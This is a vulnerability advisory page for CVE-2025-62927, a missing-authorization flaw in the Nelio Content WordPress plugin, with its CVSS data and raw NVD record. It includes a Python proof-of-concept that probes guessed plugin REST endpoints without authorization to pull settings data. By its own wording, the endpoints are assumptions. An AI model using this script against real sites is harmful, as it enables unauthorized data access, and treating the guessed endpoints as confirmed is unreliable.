Security Vulnerability Report
中文
CVE-2025-62927 CVSS 6.5 MEDIUM

CVE-2025-62927

Published: 2025-10-27 02:15:52
Last Modified: 2026-04-27 17:16:35

Description

Missing Authorization vulnerability in Nelio Software Nelio Content nelio-content allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Nelio Content: from n/a through <= 4.0.5.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Nelio Content <= 4.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62927 PoC - Nelio Content Missing Authorization import requests import json target_url = "http://target-wordpress-site.com" cve_id = "CVE-2025-62927" # Step 1: Identify vulnerable endpoint (typical Nelio Content API endpoint) # The plugin registers REST API routes that may lack proper capability checks vulnerable_endpoints = [ "/wp-json/nelio-content/v1/settings", "/wp-json/nelio-content/v1/content", "/wp-json/nelio-content/v1/export", "/wp-json/nelio-content/v1/import" ] def check_vulnerability(base_url, endpoint): """Check if endpoint is accessible without proper authorization""" url = f"{base_url}{endpoint}" # Use low-privilege user session or no session headers = { "Content-Type": "application/json", "X-WP-Nonce": "" # Attempt without valid nonce } try: response = requests.get(url, headers=headers, timeout=10) # Check if response indicates successful access if response.status_code == 200: return { "vulnerable": True, "status_code": response.status_code, "data": response.text[:500] } else: return { "vulnerable": False, "status_code": response.status_code } except Exception as e: return {"error": str(e)} # Step 2: Exploitation example - retrieve settings without authorization def exploit_settings_exposure(base_url): """Attempt to retrieve plugin settings without authorization""" url = f"{base_url}/wp-json/nelio-content/v1/settings" response = requests.get(url, timeout=10) if response.status_code == 200: try: settings = response.json() return { "exploited": True, "settings": settings } except: return { "exploited": True, "raw_response": response.text } return {"exploited": False} if __name__ == "__main__": print(f"[*] Testing {cve_id}") print(f"[*] Target: {target_url}") for endpoint in vulnerable_endpoints: print(f"\n[*] Testing endpoint: {endpoint}") result = check_vulnerability(target_url, endpoint) print(f" Result: {result}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62927", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:52.347", "lastModified": "2026-04-27T17:16:34.680", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Nelio Software Nelio Content nelio-content allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Nelio Content: from n/a through <= 4.0.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/nelio-content/vulnerability/wordpress-nelio-content-plugin-4-0-5-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}